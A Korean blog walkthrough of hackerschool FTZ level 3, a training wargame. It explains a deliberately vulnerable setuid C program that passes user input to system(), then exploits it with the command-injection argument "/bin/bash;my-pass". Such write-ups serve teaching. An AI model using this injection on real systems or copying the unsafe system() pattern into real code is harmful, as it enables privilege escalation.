사람마다 푸는 방식이 다를 수 있으니. 어려움에 있으실 때 참조만 하시고, 직접 풀어보시는 것 을 추천합니다.
level3 의 시작.
구동 환경 : Windows 7
서버 환경 : VMware WorkStation 10.0 Redhat9.0 hackerschool FTZ
사용 플램 : putty (퓨티)
login as : level3
password :
level3에서 끝냈을 때 받았던 비밀번호를 입력 해준 다음에 로그인 하면 된다.
그러면 저번과 같이 ls -al 로 level3의 디텍토리에는 무슨 파일들이 존재하는지 확인해보자.
[level3@ftz level3]$ ls -al
total 80
drwxr-xr-x 4 root level3 4096 May 7 2002 .
drwxr-xr-x 34 root root 4096 Sep 30 02:00 ..
-rw------- 1 root root 1 Jan 15 2010 .bash_history
-rw-r--r-- 1 root root 24 Feb 24 2002 .bash_logout
-rw-r--r-- 1 root root 224 Feb 24 2002 .bash_profile
-rw-r--r-- 1 root root 151 Feb 24 2002 .bashrc
-rw-r--r-- 1 root root 400 Sep 24 2000 .cshrc
-rw-r--r-- 1 root root 4742 Sep 24 2000 .emacs
-r--r--r-- 1 root root 319 Sep 24 2000 .gtkrc
-rw-r--r-- 1 root root 100 Sep 24 2000 .gvimrc
-rw-r--r-- 1 root root 543 Nov 26 2000 hint
-rw-r--r-- 1 root root 226 Sep 24 2000 .muttrc
-rw-r--r-- 1 root root 367 Sep 24 2000 .profile
drwxr-xr-x 2 root level3 4096 Feb 24 2002 public_html
drwxrwxr-x 2 root level3 4096 Jan 15 2009 tmp
-rw-r--r-- 1 root root 1 May 7 2002 .viminfo
-rw-r--r-- 1 root root 4145 Sep 24 2000 .vimrc
-rw-r--r-- 1 root root 245 Sep 24 2000 .Xdefaults
역시나, level3도 hint 파일이 존재합니다.
cat 명령어로 hint 파일을 들여다 봅시다.
[level3@ftz level3]$ cat hint
다음 코드는 autodig의 소스이다.
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main(int argc, char **argv){
char cmd[100];
if( argc!=2 ){
printf( "Auto Digger Version 0.9\n" );
printf( "Usage : %s host\n", argv[0] );
exit(0);
}
strcpy( cmd, "dig @" );
strcat( cmd, argv[1] );
strcat( cmd, " version.bind chaos txt");
system( cmd );
}
이를 이용하여 level4의 권한을 얻어라.
more hints.
- 동시에 여러 명령어를 사용하려면?
- 문자열 형태로 명령어를 전달하려면?
C언어의 코딩을 했던지라 프로그램 소스코드가 빠른 이해가 됬다.
그러나, C언어를 아예 하지 않고 바로 FTZ 입문자라면 꽤나 상당히 어려움을 느낄 수 있다.
프로그램의 소스코드를 주석처리해서 알려준다면,
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main(int argc, char **argv){ // Main 인자값을 받는다.
char cmd[100]; // cmd 변수에 100개의 칸을 할당해준다. chat형으로, 100바이트 변수 주어준다.
if( argc!=2 ){ // argc 변수가 2가 아닐때, if 문을 작동시킨다. ( 아래의 문을 실행 )
printf( "Auto Digger Version 0.9\n" ); // Auto Digger Version 0.9 라는 문구 출력
printf( "Usage : %s host\n", argv[0] ); // Usage : ~~ host 라는 문구 출력
exit(0); // 빠져나간다.
}
strcpy( cmd, "dig @" ); // strcpy? : 문자열을 복사하는 메서드, cmd에 dig @ 를 적어준다.
strcat( cmd, argv[1] ); // strcat? : 문자열을 붙혀주는 메서드, cmd 에 argv[1] 의 값을 이어붙힌다.
strcat( cmd, " version.bind chaos txt"); // cmd 내용에 version.bind chaos txt 를 이어 붙힌다.
system( cmd ); // cmd 배열의 값을 실행시킨다.
}
위와 같은 주석처리가 나올 수 있다.
C언어 하는사람들이라면 다 한번에 보고 이해가 가는 부분일 수도 있겠으나, 처음이거나 초급자를 위하여 주석처리를 하였다.
일단 저 C언어의 소스코드 작동 순서를 이해를 하고,
find 명령어로 autodig 파일의 위치를 찾으러가자.
[level3@ftz level3]$ find / -user level4 -perm -4300 2>/dev/null
/bin/autodig
파일을 찾아보니, setuid 가 걸린 곳은
/bin/autodig 위치이다.
짐작으로 보니, autodig 는 실행관련 파일인 것 같다. 소스코드까지 짜여진 것으로 보아서는,
[level3@ftz level3]$ cd /bin
[level3@ftz bin]$ ls autodig
autodig
[level3@ftz bin]$
/bin 폴더로 이동해서 ls 명령어로 autodig 검색해보니, 존재한다.
그러나 ./autodig 명령어를 치면 오류가 발생한다.
왜냐면, 인자값을 전달해주지 않았기 때문이다.
그리고 우리가 까먹었던 힌트 내용이 또 존재한다. 인자값 전달할 때 아래의 힌트를 이용해야된다.
more hints.
- 동시에 여러 명령어를 사용하려면?
- 문자열 형태로 명령어를 전달하려면?
1. 동시에 여러 명령어를 사용하려면?
; (세미콜론) 을 사용해주어야 한다.
2. 문자열 형태로 명령어로 전달하려면?
" (큰따옴표로 시작해서 끝도 큰따옴표로 끝내야한다.)
위의 힌트까지 머리속에 정리했다면, 바로 my-pass 까지 명령어를 실행할 방법은 무엇일까?
my-pass 명령어를 사용하려면,
setuid 를 이용하여 /bin/bash 디텍토리로 들어간 다음, my-pass 를 입력해야 된다.
1. 동시에 여러 명령어를 사용하려면?
이라는 문구가 먼가 입질이 올 것이다.
/bin/bash 와, my-pass 를 동시명령어로 작동시키면 된다는 것이다.
그러면 이해가 갈 것이다.
/bin/bash;my-pass
1번 힌트의 정답을 이해했다면, bin bash my pass 다 문자열인데, 2번의 힌트가 무엇이였던가?
2. 문자열 형태로 명령어로 전달하려면?
" (큰따옴표) 를 사용하면 된다.
라고 해석이 나왔는데, 그렇다면 이제 사용해보자.
"/bin/bash;my-pass"
이렇게 최종 완성본이 되지않을까? 한번 쭉 루트를 생각해보자.
이제, autodig 에 인자값을 전달해보자.
[level3@ftz bin]$ ./autodig "/bin/bash;my-pass"
명령을 실행 하니, 바로!
Level4 Password is ~~~~~~~~~
[level3@ftz bin]$
성공. success. Level4로 갈 수 있는 비밀번호의 키를 얻었다.
적어놓고 다음 Level4로 가보자.
'정보보안 카테고리 > hackschool FTZ' 카테고리의 다른 글
hackerschool FTZ : level5 풀이 (1) | 2013.10.01 |
---|---|
hackerschool FTZ : level4 풀이 (2) | 2013.10.01 |
hackerschool FTZ : level2 풀이 (2) | 2013.10.01 |
hackerschool FTZ : level1 풀이 (0) | 2013.10.01 |
hackerschool FTZ : Training 10 (1) | 2013.09.30 |